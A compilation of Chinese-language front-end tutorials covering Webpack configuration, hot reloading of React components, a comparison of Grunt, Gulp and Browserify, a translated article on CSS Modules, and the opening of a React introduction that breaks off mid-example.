javascript{ test: /\.png$/, loader: "url-loader?mimetype=image/png" }



更多地loader可以移步webpack的wiki


在Webpack下实时调试React组件


Webpack和React结合的另一个强大的地方就是，在修改了组件源码之后，不刷新页面就能把修改同步到页面上。这里需要用到两个库webpack-dev-server和react-hot-loader。


首先需要安装这两个库，npm install --save-dev webpack-dev-server react-hot-loader


安装完成后，就要开始配置了，首先需要修改entry配置：


javascriptentry: {
  helloworld: [
    'webpack-dev-server/client?http://localhost:3000',
    'webpack/hot/only-dev-server',
    './helloworld'
  ]
},



通过这种方式指定资源热启动对应的服务器，然后需要配置react-hot-loader到loaders的配置当中，比如我的所有组件代码全部放在scripts文件夹下：


javascript{
  test: /\.js?$/,
  loaders: ['react-hot', 'babel'],
  include: [path.join(__dirname, 'scripts')]
}



最后配置一下plugins，加上热替换的插件和防止报错的插件：


javascriptplugins: [
  new webpack.HotModuleReplacementPlugin(),
  new webpack.NoErrorsPlugin()
]



这样配置就完成了，但是现在要调试需要启动一个服务器，而且之前配置里映射到http://localhost:3000，所以就在本地3000端口起个服务器吧，在项目根目录下面建个server.js：


javascriptvar webpack = require('webpack');
var WebpackDevServer = require('webpack-dev-server');
var config = require('./webpack.config');

new WebpackDevServer(webpack(config), {
  publicPath: config.output.publicPath,
  hot: true,
  historyApiFallback: true
}).listen(3000, 'localhost', function (err, result) {
  if (err) console.log(err);
  console.log('Listening at localhost:3000');
});



这样就可以在本地3000端口开启调试服务器了，比如我的页面是根目录下地index.html，就可以直接通过http://localhost:3000/index.html访问页面，修改React组件后页面也会被同步修改，这里貌似使用了websocket来同步数据。图是一个简单的效果：





结束


React的组件化开发很有想法，而Webpack使得React组件编写和管理更加方便，这里只涉及到了React和Webpack得很小一部分，还有更多的最佳实践有待在学习的路上不断发掘
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这本小书的目的是引导你进入 React 和 Webpack 的世界。他们两个都是非常有用的技术，如果同时使用他们，前端开发会更加有趣。


这本小书会提供所有相关的技能。如果你只是对 React 感兴趣，那可以跳过 Webpack 相关的内容，反之亦然。 如果想学习更多的相关知识可以移步 SurviveJS - Webpack and React。


React


React 是一个能够让开发模块变成简单的库。一旦你理解他的工作原理，那你就可以用它搭建自己的程序，这是不同类似 Angular 那种试着包揽一切的框架不同的地方。


如果你想很快过一遍 React 的知识点，那么 React 官方教程 是一个很好的开始。


可能 React 最有趣的事是它一直会尝试调整传统的 web 组件的思路。它让我们重新思考关注点的分离。它（React Native）也会影响 App 开发。 React Native 提供了一种使用 Javascript 开发原生应用同时保证了原生性能。


Webpack


Webpack 非常容易操作，它是一个模块合并的工具，本质就是一个能够把各种组件（HTML，CSS，JS）构建成项目。最方便的是你只需要初始化配置一次，Webpack 会替你做那些繁琐的事情，同时也保证了让你可以在项目中混合使用各种技术而不头疼。


如果你在 Webpack 方面完全是新手的，但想开始一个简单的教程的话，可以去 Pete Hunt's guide。你可以在那里学习到一些基础的使用，这里只是那边的一个补充。


介绍 Webpack


在 Web 开发历程上，我们构建了很多小型的技术解决方案，比如用 HTML 去描述页面结构，CSS 去描述页面样式，Javascript 去描述页面逻辑，或者你也可以用一些比如 Jade 去取代 HTML，用 Sass 或 Less 去取代CSS，用 CoffeeScript 或者 TypeScript 之类的去取代 Javascript，不过项目中的依赖可能是一件比较烦恼的事情。（需要安装额外很多的库）


这里有很多为什么我们需要尝试那些新技术的理由。不管我们用什么，总之，我们还是希望使用那些能够处理在浏览器端的方案，所以出来了编译方案。历史上已经有很多分享了，比如 Make 可能是很多解决方案中最知名且是可行的方案。Grunt 和 Gulp 是在是前端的世界中最流行的解决方案，他们两个都有很多非常有用的插件。NPM（Node.js 的包管理器）则包含了他们两个。


Grunt


Grunt 是相比后面几个更早的项目，他依赖于各种插件的配置。这是一个很好的解决方案，但是请相信我，你不会想看到一个 300 行的 Gruntfile。如果你好奇 Grunt 的配置会如何，那么这里是有个从 Grunt 文档 的例子：


javascriptmodule.exports = function(grunt) {

  grunt.initConfig({
    jshint: {
      files: ['Gruntfile.js', 'src/**/*.js', 'test/**/*.js'],
      options: {
        globals: {
          jQuery: true
        }
      }
    },
    watch: {
      files: ['<%= jshint.files %>'],
      tasks: ['jshint']
    }
  });

  grunt.loadNpmTasks('grunt-contrib-jshint');
  grunt.loadNpmTasks('grunt-contrib-watch');

  grunt.registerTask('default', ['jshint']);

};



Gulp


Gulp 提供了一个不一样的解决方案，而不是依赖于各种插件的配置。Gulp 使用了一个文件流的概念。如果你熟悉 Unix，那么 Gulp 对你来说会差不多，Gulp 会提供你一些简单化的操作。在这个解决方案中，是去匹配一些文件然后操作（就是说和 JavaScript 相反）然后输出结果（比如输出在你设置的编译路径等）。这里有一个简单的 Gulpfile 的例子：


javascriptvar gulp = require('gulp');
var coffee = require('gulp-coffee');
var concat = require('gulp-concat');
var uglify = require('gulp-uglify');
var sourcemaps = require('gulp-sourcemaps');
var del = require('del');

var paths = {
  scripts: ['client/js/**/*.coffee', '!client/external/**/*.coffee'],
};

// 不是所有的任务需要使用 streams
// 一个 gulpfile 只是另一个node的程序，所以你可以使用所有 npm 的包
gulp.task('clean', function(cb) {
  // 你可以用 `gulp.src` 来使用多重通配符模式
  del(['build'], cb);
});

gulp.task('scripts', ['clean'], function() {
  // 压缩和复制所有 JavaScript （除了第三方库）
  // 加上 sourcemaps
  return gulp.src(paths.scripts)
    .pipe(sourcemaps.init())
      .pipe(coffee())
      .pipe(uglify())
      .pipe(concat('all.min.js'))
    .pipe(sourcemaps.write())
    .pipe(gulp.dest('build/js'));
});

// 监听文件修改
gulp.task('watch', function() {
  gulp.watch(paths.scripts, ['scripts']);
});

// 默认任务（就是你在命令行输入 `gulp` 时运行）
gulp.task('default', ['watch', 'scripts']);



这些配置都是代码，所以当你遇到问题也可以修改，你也可以使用已经存在的 Gulp 插件，但是你还是需要写一堆模板任务。


Browserify


处理 Javascript 模块一直是一个大问题，因为这个语言在 ES6 之前没有这方面的概念。因此我们还是停留在90年代，各种解决方案，比如提出了 AMD。在实践中只使用 CommonJS （ Node.js 所采用的格式）会比较有帮助，而让工具去处理剩下的事情。它的优势是你可以发布到 NPM 上来避免重新发明轮子。


Browserify 解决了这个问题，它提供了一种可以把模块集合到一起的方式。你可以用 Gulp 调用它，此外有很多转换小工具可以让你更兼容的使用（比如 watchify 提供了一个文件监视器帮助你在开发过程中更加自动化地把文件合并起来），这样会省下很多精力。毋庸置疑，一定程度来讲，这是一个很好的解决方案。


Webpack


Webpack 扩展了 CommonJs 的 require 的想法，比如你想在 CoffeeScript、Sass、Markdown 或者其他什么代码中 require 你想要的任何代码的话？那么 Webpack 正是做这方面的工作。它会通过配置来取出代码中的依赖，然后把他们通过加载器把代码兼容地输出到静态资源中。这里是一个 Webpack 官网 上的例子：


javascriptmodule.exports = {
    entry: "./entry.js",
    output: {
        path: __dirname,
        filename: "bundle.js"
    },
    module: {
        loaders: [
            { test: /\.css$/, loader: "style!css" }
        ]
    }
};



在接下来的章节中我们会使用 Webpack 来构建项目来展示它的能力。你可以用其他工具和 Webpack 一起使用。它不会解决所有事情，只是解决一个打包的难题，无论如何，这是在开发过程中需要解决的问题。


踏上征途



  在开始之前，你需要把你的 Node.js 和 NPM 都更新到最新的版本。访问 nodejs.org 查看安装详情。我们将会使用 NPM 安装一些工具。




开始使用 Webpack 非常简单，我会展示给你看使用它的一个简单的项目。第一步，为你的项目新建一个文件夹，然后输入 npm init，然后填写相关问题。这样会为你创建了 package.json，不用担心填错，你可以之后修改它。


安装 Webpack


接下来我们安装 Webpack，我们要把它安装在本地，然后把它作为项目依赖保存下来。这样你可以在任何地方编译（服务端编译之类的）。输入 npm i wepack --save-dev。如果你想运行它，就输入 node_modules/.bin/webpack。


目录结构


项目的目录结构长这样：



	/app


	main.js

	component.js





	/build


	bundle.js (自动创建)

	index.html





	package.json

	webpack.config.js



我们会使用 Webpack 在我们的 /app 里来自动创建 bundle.js 。接下来，我们来设置 webpack.config.js。


设置 Webpack


Webpack 的配置文件长这样：


webpack.config.js


javascriptvar path = require('path');


module.exports = {
    entry: path.resolve(__dirname, 'app/main.js'),
    output: {
        path: path.resolve(__dirname, 'build'),
        filename: 'bundle.js',
    },
};



运行你的第一个编译


现在我们有了一个最简单的配置，我们需要有什么东西去编译，让我们开始一个经典的 Hello World，设置 /app 像这样：


app/component.js


javascript'use strict';


module.exports = function () {
    var element = document.createElement('h1');

    element.innerHTML = 'Hello world';

    return element;
};



app/main.js


javascript'use strict';
var component = require('./component.js');


document.body.appendChild(component());




现在在你的命令行运行 webpack，然后你的应用会开始编译，一个 bundle.js 文件就这样出现在你的 /build 文件夹下，需要在 build/ 下的 index.html 去启动项目。


build/index.html


html<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <script src="bundle.js"></script>
  </body>
</html>




  这个文件可以用 html-webpack-plugin 来生成。如果你觉得冒险，那就把剩下的工具交给它来做。使用它就只有一个配置的问题。一般来说使用 Webpack 来工作就是这么个套路。




运行应用


只要双击 index.html 或者设置一个 Web 服务指向 build/ 文件夹。


设置 package.json scripts



npm 是一个非常好用的用来编译的指令，通过 npm 你可以不用去担心项目中使用了什么技术，你只要调用这个指令就可以了，只要你在 package.json 中设置 scripts 的值就可以了。


在这个案例中我们把编译步骤放到 npm run build 中是这样：



	
npm i webpack --save - 如果你想要把 Webpack 作为一个项目的开发依赖，就可以使用 --save-dev，这样就非常方便地让你在开发一个库的时候，不会依赖工具（但不是个好方法！）。

	把下面的内容添加到 package.json中。



json  "scripts": {
    "build": "webpack"
  }



现在你可以输入 npm run build 就可以编译了。


当项目越发复杂的时候，这样的方法会变得越来越有效。你可以把所有复杂的操作隐藏在 scripts 里面来保证界面的简洁。


不过潜在的问题是这种方法会导致如果你使用一些特殊的指令的时候只能在 Unix 环境中使用。所以如果你需要考虑一些未知的环境中的话，那么 gulp-webpack 会是一个好的解决方案。



  注意 NPM 会找到 Webpack，npm run 会把他临时加到 PATH来让我们这个神奇的命令工作。




工作流


如果需要一直输入 npm run build 确实是一件非常无聊的事情，幸运的是，我们可以把让他安静的运行，让我们设置 webpack-dev-server。


设置 webpack-dev-server



第一步，输入 npm i webpack-dev-server --save，此外，我们需要去调整 package.json scripts 部分去包含这个指令，下面是基本的设置：


package.json


json{
  "scripts": {
    "build": "webpack",
    "dev": "webpack-dev-server --devtool eval --progress --colors --hot --content-base build"
  }
}



当你在命令行里运行 npm run dev 的时候他会执行 dev 属性里的值。这是这些指令的意思：



	
webpack-dev-server - 在 localhost:8080 建立一个 Web 服务器

	
--devtool eval - 为你的代码创建源地址。当有任何报错的时候可以让你更加精确地定位到文件和行号

	
--progress - 显示合并代码进度

	
--colors - Yay，命令行中显示颜色！

	
--content-base build - 指向设置的输出目录



总的来说，当你运行 npm run dev 的时候，会启动一个 Web 服务器，然后监听文件修改，然后自动重新合并你的代码。真的非常简洁！


访问 http://localhost:8080 你会看到效果。


浏览器自动刷新


当运行 webpack-dev-server 的时候，它会监听你的文件修改。当项目重新合并之后，会通知浏览器刷新。为了能够触发这样的行为，你需要把你的 index.html 放到 build/ 文件夹下，然后做这样的修改：


build/index.html


html<!DOCTYPE html>
<html>
  <head>
    <meta charset="UTF-8"/>
  </head>
  <body>
    <script src="http://localhost:8080/webpack-dev-server.js"></script>
    <script src="bundle.js"></script>
  </body>
</html>



我们需要增加一个脚本当发生改动的时候去自动刷新应用，你需要在配置中增加一个入口点。


javascriptvar path = require('path');


module.exports = {
    entry: ['webpack/hot/dev-server', path.resolve(__dirname, 'app/main.js')],
    output: {
        path: path.resolve(__dirname, 'build'),
        filename: 'bundle.js',
    },
};



就是这样！现在你的应用就可以在文件修改之后自动刷新了。


默认环境


在上面的例子中我们创建了 index.html 文件来获取更多的自由和控制。同样也可以从 http://localhost:8080/webpack-dev-server/bundle 运行应用。这会触发一个默认的你不能控制的 index.html ，它同样会触发一个允许iFrame中显示重合并的过程。


引入文件


模块


Webpack 允许你使用不同的模块类型，但是 “底层”必须使用同一种实现。所有的模块可以直接在盒外运行。


ES6 模块


javascriptimport MyModule from './MyModule.js';



CommonJS


javascriptvar MyModule = require('./MyModule.js');



AMD


javascriptdefine(['./MyModule.js'], function (MyModule) {

});



理解文件路径


一个模块需要用它的文件路径来加载，看一下下面的这个结构：



	/app


	/modules

	MyModule.js

	main.js (entry point)

	utils.js







打开 main.js 然后可以通过下面两种方式引入 app/modules/MyModule.js


app/main.js


javascript// ES6
import MyModule from './modules/MyModule.js';

// CommonJS
var MyModule = require('./modules/MyModule.js');



最开始的 ./ 是 “相对当前文件路径”


让我们打开 MyModule.js 然后引入 app/utils：


app/modules/MyModule.js


javascript// ES6 相对路径
import utils from './../utils.js';

// ES6 绝对路径
import utils from '/utils.js';

// CommonJS 相对路径
var utils = require('./../utils.js');

// CommonJS 绝对路径
var utils = require('/utils.js');



相对路径是相对当前目录。绝对路径是相对入口文件，这个案例中是 main.js。


我需要使用文件后缀么？


不，你不需要去特意去使用 .js，但是如果你引入之后高亮会更好。你可能有一些 .js 文件和一些 .jsx 文件，甚至一些图片和 css 可以用 Webpack 引入，甚至可以直接引入 node_modules 里的代码和特殊文件。


记住，Webpack 只是一个模块合并！也就是说你可以设置他去加载任何你写的匹配，只要有一个加载器。我们稍后会继续深入这个话题。


剩下全文地址：
全文地址


 CSS 模块

作者：公子

来源： CSS 模块



                    
原文：http://glenmaddern.com/articles/css-modules
译者：@公子



如果你想知道 CSS 最近发展的转折点，你应该选择去观看 Christopher Chedeau 在2014年11月的 NationJS 大会上做的名称为 CSS in JS 的分享。不得不说这是一个技术分水岭的时刻，一群不同的思维在自己的方向上就像粒子进入了高能漩涡中一样飞速发展。其中，在 React 或者是 React 相关的项目中编写 CSS 样式，React Style, jxstyle 和 Radium 这三个算是最新的，最好的以及最具有可行性的方法。如果说“发明”是探索 最接近的可能 的一个实例（译者注：最接近的可能是 Steven Johnson 于 2010 年提出来的一个概念），那么 Christopher 则是让许许多多的可能变得更加接近（译者注：上面三个工具中的两个灵感都是来自他的分享）。



上图列出的这些都是在许多大型 CSS 代码库中存在的问题。Christopher 指出，只要将你的样式通过用 JS 去管理，这些问题都能很好的解决。不得不说这的确是有道理的，但是这种方法有它的复杂性并会带来其他的相关问题。其实只要看看浏览器是如何处理 :hover 伪类状态的，我们就会发现有些东西在 CSS 中其实***很早***就解决了。

CSS 模块小组 觉得我们可以更加合理的解决问题：我们可以继续保持 CSS 现在的样子，并在 styles-in-JS 社区的基础上建立更合理的改进。虽然我们已经找到了解决办法同时又捍卫了 CSS 原始的美，但我们仍然欠那些把我们推向这个结果的那些人一声感谢。谢谢你们，朋友们！

下面让我来向大家解说一下什么是 CSS 模块并且为什么它才是未来吧。



第一步：像局部一样无需考虑全局冲突

在 CSS 模块中，每一个文件被编译成独立的文件。这样我们就只需要使用通用简单的类选择器名字就好了。我们不需要担心它会污染全局的变量。下面我就我们编写一个拥有四个状态的按钮来说明这个功能。

https://jsfiddle.net/pqnot81c/embedded/result/

CSS 模块之前我们是怎么做的

我们也许会使用 Suit/BEM 命名规范去进行样式命名，这样我们的 HTML 和 CSS 代码看起来就像如下所示：

/* components/submit-button.css */
.Button { /* all styles for Normal */ }
.Button--disabled { /* overrides for Disabled */ }
.Button--error { /* overrides for Error */ }
.Button--in-progress { /* overrides for In Progress */

<button class="Button Button--in-progress">Processing...</button>

这样写看起来还挺棒的。使用 BEM 命令方式使我们有了 4 个样式变量这样我们不必使用嵌套选择器。使用Button这种首字母大写的方法可以很好的避免与之前的代码或者是其他的依赖代码进行冲突。另外我们使用了--语法这样能很清楚的显示出我们的依赖 Class。

总的来说，这样做可以让我们的代码更易于维护，但是它需要我们在命名规范的学习上付出很多努力。不过这已经是目前 CSS 能给出的最好的解决办法了。

CSS 模块出来之后我们是怎么做的

CSS 模块意味着你从此再也不必为你的名字太大众而担心，只要使用你觉得有最有意义的名字就好了：

/* components/submit-button.css */
.normal { /* all styles for Normal */ }
.disabled { /* all styles for Disabled */ }
.error { /* all styles for Error */ }
.inProgress { /* all styles for In Progress */

请注意我们这里并没有在任何地方使用 button 这个词。不过反过来想，为什么我们一定要使用它呢？这个文件已经被命名成了 submit-button.css 了呀！既然在其它的语言中你不需要为你的局部变量增加前缀，没道理 CSS 需要加上这个蹩脚的功能。

通过使用 require 或者 import 从 JS 中导入文件使得 CSS 模块被编译成为可能。

/* components/submit-button.js */
import styles from './submit-button.css';

buttonElem.outerHTML = `<button class=${styles.normal}>Submit</button>`

你不必担心大众名字会倒置命名冲突，编译后实际上类名是会自动生成并保证是唯一的。CSS 模块为你做好一切，最终编译成一个 CSS 与 JS 交互的 ICSS 后缀文件（阅读这里了解更多）。因此，你的程序最终看起来可能会是这个样子的：

<button class="components_submit_button__normal__abc5436">
  Processing...
</button>

如果你的类名变的和上面的例子差不多的话，那么恭喜你你成功了！



命名约定

现在回过头来仔细看看我们的示例代码：

/* components/submit-button.css */
.normal { /* all styles for Normal */ }
.disabled { /* all styles for Disabled */ }
.error { /* all styles for Error */ }
.inProgress { /* all styles for In Progress */

请注意所有的类都是相互独立的，这里并不存在一个“ 基类 ”然后其它的类集成并“ 覆盖 ”它的属性这种情况。在 CSS 模块中 每一个类都必须包含这个元素需要的所有样式 （稍后会有详细说明）。这使得你在 JS　中使用样式的时候有很大的不同：

/* Don't do this */
`class=${[styles.normal, styles['in-progress']].join(" ")}`

/* Using a single name makes a big difference */
`class=${styles['in-progress']}`

/* camelCase makes it even better */
`class=${styles.inProgress}`

当然，如果你的工资是按照字符串长度来计算的话，你爱怎么做就怎么做吧！

React 示例

CSS 模块并不是 React 特有的功能，但是不得不说在 React 中使用 CSS 模块会更爽。基于这个理由，我觉得我有必要展示下面这个如飘柔般丝滑的示例：

/* components/submit-button.jsx */
import { Component } from 'react';
import styles from './submit-button.css';

export default class SubmitButton extends Component {
  render() {
    let className, text = "Submit"
    if (this.props.store.submissionInProgress) {
      className = styles.inProgress
      text = "Processing..."
    } else if (this.props.store.errorOccurred) {
      className = styles.error
    } else if (!this.props.form.valid) {
      className = styles.disabled
    } else {
      className = styles.normal
    }
    return <button className={className}>{text}</button>
  }
}

你完全不需要担心你的类命名会和全局的样式表命名冲突，这样能让你的注意力更集中在**组件**上，而不是样式。我敢保证，使用过一次之后，你会再也不想回到原来的模式中去。

然而这仅仅是一切的开始。CSS 模块化是你的基本，但也是时候来思考一下如何把你的样式们都集中到一块了。

第二步：组件就是一切

上文中我提到了每一个类必须包含按钮不同状态下的**所有**的样式，与 BEM 命名方式上相比，代码上可能区别如下：

/* BEM Style */
innerHTML = `<button class="Button Button--in-progress">`

/* CSS Modules */
innerHTML = `<button class="${styles.inProgress}">`

那么问题来了，你怎么在所有的状态样式中**共享**你的样式呢？这个答案就是 CSS 模块的强力武器 - **组件**：

.common {
  /* all the common styles you want */
}
.normal {
  composes: common;
  /* anything that only applies to Normal */
}
.disabled {
  composes: common;
  /* anything that only applies to Disabled */
}
.error {
  composes: common;
  /* anything that only applies to Error */
}
.inProgress {
  composes: common;
  /* anything that only applies to In Progress */
}

composes这个关键词将会使.normal类将.common内的所有样式包含进来，这个有点像 Sass 的 @extends 语法。但是 Sass 依赖重写你的 CSS 文件达到效果，而 **CSS 模块最后会通过 JS 编译导出，不需要修改文件**（译者注：下面会有例子详细说明）。

Sass

按照 BEM 的命名规范，我用 Sass 的 @extends 写的话可能会像如下的代码：

.Button--common { /* font-sizes, padding, border-radius */ }
.Button--normal {
  @extends .Button--common;
  /* blue color, light blue background */
}
.Button--error {
  @extends .Button--common;
  /* red color, light red background */
}

编译后的 CSS 文件如下：

.Button--common, .Button--normal, .Button--error {
  /* font-sizes, padding, border-radius */
}
.Button--normal {
  /* blue color, light blue background */
}
.Button--error {
  /* red color, light red background */
}

你可以只需要**一**个类来标记你的元素<button class="Button--error">，但是你能得到包括共有的和特例的所有样式。这看起来真的非常厉害，但是你需要注意这种语法在一些特别的情况下存在问题和陷阱。Hugo Giraudel 在他的文章中做了很好的总结，感谢他！

CSS 模块

composes 语法看起来很像 @extends 但是他们的工作方式是不同的。为了演示一下，让我们来看一个例子：

.common { /* font-sizes, padding, border-radius */ }
.normal { composes: common; /* blue color, light blue background */ }
.error { composes: common; /* red color, light red background */ }

编译后的文件可能是像如下一样：

.components_submit_button__common__abc5436 { /* font-sizes, padding, border-radius */ }
.components_submit_button__normal__def6547 { /* blue color, light blue background */ }
.components_submit_button__error__1638bcd { /* red color, light red background */ }

JS 代码中通过 import styles from "./submit-button.css" 最终会返回：

styles: {
  common: "components_submit_button__common__abc5436",
  normal: "components_submit_button__common__abc5436 components_submit_button__normal__def6547",
  error: "components_submit_button__common__abc5436 components_submit_button__error__1638bcd"
}

所以我们依然可以使用 style.normal 或者 style.error 在我们的代码中，**仍旧会有多个类样式渲染在我们的 DOM 上**。

<button class="components_submit_button__common__abc5436 
               components_submit_button__normal__def6547">
  Submit
</button>

这就是 composes 语法的厉害之处，你可以在不重写你的 CSS 的情况下对你的元素混合使用不同类的样式。

第三步：文件间共享

Sass 或者 LESS 中，你可以在每个文件中使用 @import 在全局工作区间内共享样式。这样你就可以在一个文件中定义变量或者函数（mixins）并在你的其它组件文件中共享使用。这样做是有好处的，但是很快你的变量命名就会与其它的变量名称相冲突（虽然它在另外一个全部空间下），你不可避免的会重构你的 variables.scss 或者 settings.scss，最后你就会发现你已经看不懂到底哪个组件依赖哪个变量了。最后的最后你会发现你的配置文件变量名称冗余到变得非常不实用。

针对上述问题仍然是有更好的解决办法的（事实上 Ben Smithett 的文章 Sass 和 Wepack 的混合使用 给了 CSS 模块话很大的启发，我推荐大家去读一读这篇文章），但是不管怎么做你还是局限在了 Sass 的全局环境下。

CSS 模块一次只运行一个文件，这样可以避免全局上下文的污染。而且像 JS 使用 import 或者 require 来加载依赖一样，CSS 模块使用 compose 来从另一个文件中加载：

/* colors.css */
.primary {
  color: #720;
}
.secondary {
  color: #777;
}
/* other helper classes... */

/* submit-button.css */
.common { /* font-sizes, padding, border-radius */ }
.normal {
  composes: common;
  composes: primary from "../shared/colors.css";
}

使用组件，我们能够深入到每一个像colors.css一样的基础样式表中，并随意重命名它。又因为组件只是改变了最后**导出**的类名称，而不是 CSS 文件本身，composes 语句在浏览器解析之前就会被删除。

/* colors.css */
.shared_colors__primary__fca929 {
  color: #720;
}
.shared_colors__secondary__acf292 {
  color: #777;
}

/* submit-button.css */
.components_submit_button__common__abc5436 { /* font-sizes, padding, border-radius */ }
.components_submit_button__normal__def6547 {}

<button class="shared_colors__primary__fca929
               components_submit_button__common__abc5436 
               components_submit_button__normal__def6547">
  Submit
</button>

事实上，当它被浏览器解析之后，我们的局部是不存在一个"**normal**"样式的。这是一件好事！这意味着我们可以增加一个局部名字有意义的对象（可能就叫"**normal**"）而不用在 CSS 文件中新增代码。我们使用的越多，对我们的网站会造成更少的视觉误差以及在用户浏览器上更少的不一致。

题外话：空的类样式可以使用 csso 这样的工具来检查去除掉。

第四步：功能单一模块

组件是非常强大的，因为它确实的让你描述了一个元素是什么，而不是它由那些样式组成。这是一种不同的方式去描述概念示例（**元素**）到样式实体（**样式规则**）之间的映射关系。让我们看一个简单的 CSS 例子：

.some_element {
  font-size: 1.5rem;
  color: rgba(0,0,0,0);
  padding: 0.5rem;
  box-shadow: 0 0 4px -2px;
}

这些元素，样式都是特别简单的。然而也存在着问题：颜色，字体大小，盒子阴影，内边距-这里的一切都是量身定制的，这让**我们想要在其它地方复用这些样式**的时候变得有些困难。下面让我们用 Sass 重构这些这些代码：

$large-font-size: 1.5rem;
$dark-text: rgba(0,0,0,0);
$padding-normal: 0.5rem;
@mixin subtle-shadow {
  box-shadow: 0 0 4px -2px;
}

.some_element {
  @include subtle-shadow;
  font-size: $large-font-size;
  color: $dark-text;
  padding: $padding-normal;
}

这是一个进化版，但是我们仅仅只达到了**一部分**目标。事实上 $large-font-size 和 $padding-normal 只是在名字上表示了它的用途，并不能在任何地方都执行。像 box-shadow 这种定义没办法赋值给变量，我们不得不使用 mixin 或者 @extends 语法来配合。

CSS 模块

通过使用组件，我们可以使用我们可复用的部分定义我们的组件：

.element {
  composes: large from "./typography.css";
  composes: dark-text from "./colors.css";
  composes: padding-all-medium from "./layout.css";
  composes: subtle-shadow from "./effect.css";
}


这种写法势必会有很多单一功能文件产生，然而通过使用文件系统来管理不同用途的样式比起用命名空间来说要好的多。如果你想要从一个文件中导入多个类样式的话，有一种简单的写法：

/* this short hand: */
.element {
  composes: padding-large margin-small from "./layout.css";
}

/* is equivalent to: */
.element {
  composes: padding-large from "./layout.css";
  composes: margin-small from "./layout.css";
}

这开辟了一种可能，使用**极细粒**的类样式定义一些样式别名去给每一个网站使用：

.article {
  composes: flex vertical centered from "./layout.css";
}

.masthead {
  composes: serif bold 48pt centered from "./typography.css";
  composes: paragraph-margin-below from "./layout.css";
}

.body {
  composes: max720 paragraph-margin-below from "layout.css";
  composes: sans light paragraph-line-height from "./typography.css";
}

我对这种技术非常感兴趣，我觉得，它混合了像 Tachyons 类似的 CSS 原子技术，像 Semantic UI 那样变量分离可读的好处（译者注：就是说 CSS 模块的命名简单易懂，组件复用方便）。

但是 CSS 模块化之路仅仅是刚刚开始，未来我们希望大家能尝试更多为它写出谱写出新的篇章。

翻滚吧！CSS 模块！

我们希望 CSS 模块化能有助于你和你的团队在你们现有的 CSS 和产品的基础上维护代码，让它变得更舒适更高效。我们已经接近可能的把额外的语法减少到最少，并尽量确保语法和现有的变化不大。我们有 Webpack， JSPM 和 Browserify 的示例代码，如果你们使用它们中的其中之一，你们可以参考一二。当然我们也在为 CSS 模块话的使用寻找新的环境：服务端 NodeJS 的支持正在进行，Rails 的支持已经提上议程准备进行了。

但是为了让它变得更简单，我在 Plunker 上制作了一个预览示例，你不用安装任何东西就可以运行它：



这里是 CSS 模块的 Github 仓库地址，如果你有任何问题，请开 issue 提出。CSS 模块团队还很小，我们还没有看到一些有用的例子，欢迎你们给我们投稿。

最后的最后，祝大家开心写样式，幸福每一天！
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React 简单介绍


先说 React 与 React Native


他们是真的亲戚，可不像 Java 和 Javascript 一样。


其实第一次看到 React 的语法我是拒绝的，因为这么丑的写法，你不能让我写我就写。


但当我发现 React Native 横空出世后，它学习一次到处运行的理念非常诱人。React Native 可以写出原生体验的 iOS/Android 应用？那不就多了一门装逼技能？所以我们调研小组试了一下，感觉 "Duang" 一下，很爽很舒服。写 React Native 需要两门基础技能：React 语法 和 iOS 基础知识。


很爽很舒服，索性就研究一下，算是入门。

了解之后发现，React 真是有另一番天地，值得学习。


接下来总结以下我对 React 的理解，分享给大家。


至于 React Native，有机会再好好探究下。


这部分废话太多，喜欢实战的可以直接看代码部分。



  React 是 Facebook 出品的一套颠覆式的前端开发类库。




为什么说它是颠覆式的呢？


内存维护虚拟 DOM


对于传统的 DOM 维护，我们的步骤可能是：



	初始化 DOM 结构

	从服务器获取新数据

	使用新数据更新局部 DOM

	绑定各种事件



首先，我们操作 DOM 是最昂贵的开销，对于 需要反复更新 DOM 的网页，无疑是噩梦。其次，对 DOM 局部的更新以及事件绑定加大了维护的难度。


而 React 引入了一个全新的概念：虚拟 DOM。


虚拟 DOM 是躺在内存里的一种特殊的结构，我们可以理解为这是真实 DOM 在内存里的映射。


除了结构上的映射外，这个虚拟的 DOM 还包括了渲染

真实所需要的数据以及事件绑定。


全量更新真实 DOM


虚拟 DOM 在创建时，首先是使用 JSX 的语法生成一个真实 DOM 树的映射，其次是从服务器端拉取远程数据，接着注入到这个虚拟 DOM 树中，同时绑定事件。


好了，有了虚拟 DOM、数据、事件，万事俱备。


接下来，调用 render() 方法一次性渲染出真实的 DOM，然后全量插入到网页中。


虚拟 DOM 静静地躺在内存里，等待数据更新。


新数据来临，调用 setState() 方法更新数据到虚拟 DOM 中，然后自动调用 render() 再一次性渲染出真实的 DOM ，然后全量更新到网页中。


一个虚拟 DOM，对应一个真实 DOM
一份数据更新，重新生成虚拟 DOM ，全量更新真实 DOM



就这么简单。

除了带来性能上的提升之外，很显然这种写法简化了我们维护 DOM 的成本 -- 我们只需要维护一份数据。


只是 View，可配合其他类库使用


可以看到，React 里最重要的概念有虚拟 DOM、单向数据注入（虚拟 DOM 到真实 DOM）。

这里并没有引入太多其他的东西，所以我对 React 的理解是一个类库，而非框架。

如果要使用 MVC、MVVM 等技术的吧，完全可以把 React 当做其中的 V,即 View, 配合其他类库使用。


组件化


我虽然是个前端菜鸟，但日观天象也是能嗅到下一代 Web 将是组件化、组件复用共享的时代。


React 编写起来，就是编写一个个的组件。


我对一个 React 组件的理解是：



	模板 HTML (JSX 语法格式)

	样式 CSS  (还是独立的样式文件)

	交互 JS   (与HTML一起，揉和到 JSX 语法中)



以上三者可以打包复用，甚至是无缝接入，我脚得它就可能是未来了。


HTML 与 JS 使用 JSX 语法糅合到一起的方式是见仁见智，恐怕会引起战争。


我刚接触到 JSX 的时候，一开口也是『我*，好丑』。


但慢慢地却发现，这种方式一开始写起来别扭，但用得却很爽。


接下来，我通过编写一个简单的应用来入门 React。


看完如果大呼不过瘾，建议直飞 React 官方看文档，那才是宝藏！


React 简单示例


示例代码放置在 demo/目录下，每个文件夹为一个独立的示例。


先看下这个 demo 最终的样子吧：


demo - 速度与激情


每个示例的入口文件 index.html 结构大体相同：


<!-- React 真实 DOM 将会插入到这里 -->


<div id="demo"></div>



<!-- 引入 React -->
<script src="../../bower_components/react/react.js"></script>
<!-- 引入 JSX 语法格式转换器 -->
<script src="../../bower_components/react/JSXTransformer.js"></script>

<!-- 注意：script 需要注明 type 为 text/jsx 以指定这是一个 JSX 语法格式 -->
<script type="text/jsx" src="demo.js"></script>
</body>



渲染一个虚拟 DOM 为真实 DOM


使用 render() 方法生成真实 DOM 并插入到网页中。


// 使用 React.createClass 创建一个组件
